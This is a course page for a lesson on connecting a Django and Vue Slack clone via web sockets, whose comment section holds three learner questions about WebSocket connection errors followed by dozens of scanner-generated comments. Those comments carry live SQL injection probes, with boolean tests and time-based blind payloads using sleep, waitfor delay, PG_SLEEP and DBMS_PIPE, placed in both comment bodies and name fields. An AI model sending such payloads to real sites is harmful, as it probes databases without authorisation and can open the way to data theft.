Web sockets - Build a Slack clone using Django and Vue

You need to be subscribed to a plan to get access to the full course.

In this part, we will connect to the backend using web sockets.

Comments

Scorer | Mar 12, 24 10:14

Hie Stein,
Really nice your new frontend ;oD

I succeed to that point but I have a new difficulty...have that error msg in the console :
GET ws://localhost:8000/ws/roomname/?token=...etc --> Firefox can't access connection with tha url NS_ERROR_WEBSOCKET_CONNECTION_REFUSED
Could U help me please ?

Scorer | Mar 12, 24 10:17

It looks like in the index.js. I tried in the Chat.Vue two possibilities :
this.connection = new WebSocket("ws://localhost:8000/ws/roomname/?token=" + this.$store.state.user.token)
this.connection = new WebSocket("ws://127.0.0.1:8000/ws/roomname/?token=" + this.$store.state.user.token)
Hope you we'll have an idea ;oD Best regards

Scorer | Mar 12, 24 10:45

Stein, sorry for previous messages. I reformatting my Chat.vue which integrated next steps. After reformatting, the error is that one :
Uncaught (in promise) ReferenceError: Websoscket is not defined
So I need help but you can delete the previous messages. Please, apologizes for that and for my poor english ;oD

EFSArCBy | Jul 02, 26 07:57

555

EFSArCBy | Jul 02, 26 07:57

555

EFSArCBy | Jul 02, 26 07:57

555

EFSArCBy | Jul 02, 26 07:57

-1 OR 2+217-217-1=0+0+0+1 --

EFSArCBy | Jul 02, 26 07:57

-1 OR 2+581-581-1=0+0+0+1

EFSArCBy | Jul 02, 26 07:57

-1' OR 2+335-335-1=0+0+0+1 --

EFSArCBy | Jul 02, 26 07:57

-1' OR 2+550-550-1=0+0+0+1 or 'MK7GkWrC'='

EFSArCBy | Jul 02, 26 07:57

-1" OR 2+544-544-1=0+0+0+1 --

EFSArCBy | Jul 02, 26 07:57

555*if(now()=sysdate(),sleep(15),0)

EFSArCBy | Jul 02, 26 07:57

5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z

EFSArCBy | Jul 02, 26 07:57

5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z

EFSArCBy | Jul 02, 26 07:57

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

EFSArCBy | Jul 02, 26 07:57

555-1; waitfor delay '0:0:15' --

EFSArCBy | Jul 02, 26 07:57

555-1); waitfor delay '0:0:15' --

EFSArCBy | Jul 02, 26 07:57

555-1 waitfor delay '0:0:15' --

EFSArCBy | Jul 02, 26 07:57

555habZera2'; waitfor delay '0:0:15' --

EFSArCBy | Jul 02, 26 07:57

555-1 OR 655=(SELECT 655 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 07:57

555-1) OR 187=(SELECT 187 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 07:57

555-1)) OR 661=(SELECT 661 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 07:57

555YTudqYBh' OR 496=(SELECT 496 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 07:57

555LIWsxYMq') OR 867=(SELECT 867 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 07:57

555PPyNKxlw')) OR 115=(SELECT 115 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 07:57

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

EFSArCBy | Jul 02, 26 07:57

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

EFSArCBy | Jul 02, 26 07:57

555

EFSArCBy | Jul 02, 26 07:57

555'"

EFSArCBy | Jul 02, 26 07:57

@@QBaBq

EFSArCBy | Jul 02, 26 07:57

555

EFSArCBy | Jul 02, 26 07:57

555

EFSArCBy | Jul 02, 26 07:57

555

EFSArCBy | Jul 02, 26 07:57

555

EFSArCBy | Jul 02, 26 07:57

555

EFSArCBy | Jul 02, 26 07:57

555

EFSArCBy | Jul 02, 26 07:57

555

EFSArCBy | Jul 02, 26 07:57

555

EFSArCBy | Jul 02, 26 07:57

555

EFSArCBy | Jul 02, 26 07:57

555

EFSArCBy | Jul 02, 26 07:57

555

EFSArCBy | Jul 02, 26 07:57

555

EFSArCBy | Jul 02, 26 07:57

555

EFSArCBy | Jul 02, 26 07:57

555

EFSArCBy | Jul 02, 26 07:57

555

EFSArCBy | Jul 02, 26 07:57

555

EFSArCBy | Jul 02, 26 07:57

555

EFSArCBy | Jul 02, 26 07:57

555

EFSArCBy | Jul 02, 26 07:57

555

EFSArCBy | Jul 02, 26 07:57

555

EFSArCBy | Jul 02, 26 07:57

555

EFSArCBy | Jul 02, 26 07:57

555

EFSArCBy | Jul 02, 26 07:57

555

EFSArCBy | Jul 02, 26 07:57

555

-1 OR 2+235-235-1=0+0+0+1 -- | Jul 02, 26 07:57

555

-1 OR 2+831-831-1=0+0+0+1 | Jul 02, 26 07:57

555

-1' OR 2+428-428-1=0+0+0+1 -- | Jul 02, 26 07:57

555

-1' OR 2+195-195-1=0+0+0+1 or 'NmoBjJP8'=' | Jul 02, 26 07:57

555

-1" OR 2+461-461-1=0+0+0+1 -- | Jul 02, 26 07:57

555

if(now()=sysdate(),sleep(15),0) | Jul 02, 26 07:57

555

EFSArCBy0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z | Jul 02, 26 07:57

555

EFSArCBy0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z | Jul 02, 26 07:57

555

EFSArCBy-1 waitfor delay '0:0:15' -- | Jul 02, 26 07:57

555

EFSArCBykuEttiMd'; waitfor delay '0:0:15' -- | Jul 02, 26 07:57

555

EFSArCByKHfMvmSt' OR 391=(SELECT 391 FROM PG_SLEEP(15))-- | Jul 02, 26 07:57

555

EFSArCBys9yVSkJQ') OR 735=(SELECT 735 FROM PG_SLEEP(15))-- | Jul 02, 26 07:57

555

EFSArCByZf5X2LE6')) OR 933=(SELECT 933 FROM PG_SLEEP(15))-- | Jul 02, 26 07:57

555

EFSArCBy'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||' | Jul 02, 26 07:57

555

EFSArCBy | Jul 02, 26 07:57

555

EFSArCBy'" | Jul 02, 26 07:57

555

@@GPTri | Jul 02, 26 07:57

555

EFSArCBy | Jul 02, 26 07:57

555

EFSArCBy | Jul 02, 26 07:57

555

EFSArCBy | Jul 02, 26 07:57

555

EFSArCBy | Jul 02, 26 07:57

555

EFSArCBy | Jul 02, 26 07:57

555

EFSArCBy | Jul 02, 26 07:57

555

EFSArCBy | Jul 02, 26 07:57

555

EFSArCBy | Jul 02, 26 07:57

555

EFSArCBy | Jul 02, 26 07:57

555

EFSArCBy | Jul 02, 26 07:57

555

EFSArCBy | Jul 02, 26 07:57

555

EFSArCBy | Jul 02, 26 07:57

555

EFSArCBy | Jul 02, 26 07:57

555

EFSArCBy | Jul 02, 26 07:57

555

EFSArCBy | Jul 02, 26 07:57

555

EFSArCBy | Jul 02, 26 07:58

555

EFSArCBy | Jul 02, 26 07:58

555

EFSArCBy | Jul 02, 26 07:58

555

EFSArCBy | Jul 02, 26 07:58

555

Add comment

Info

Please log in to comment!

Newsletter

Subscribe to my weekly newsletter. One time per week I will send you a short summary of the tutorials I have posted in the past week.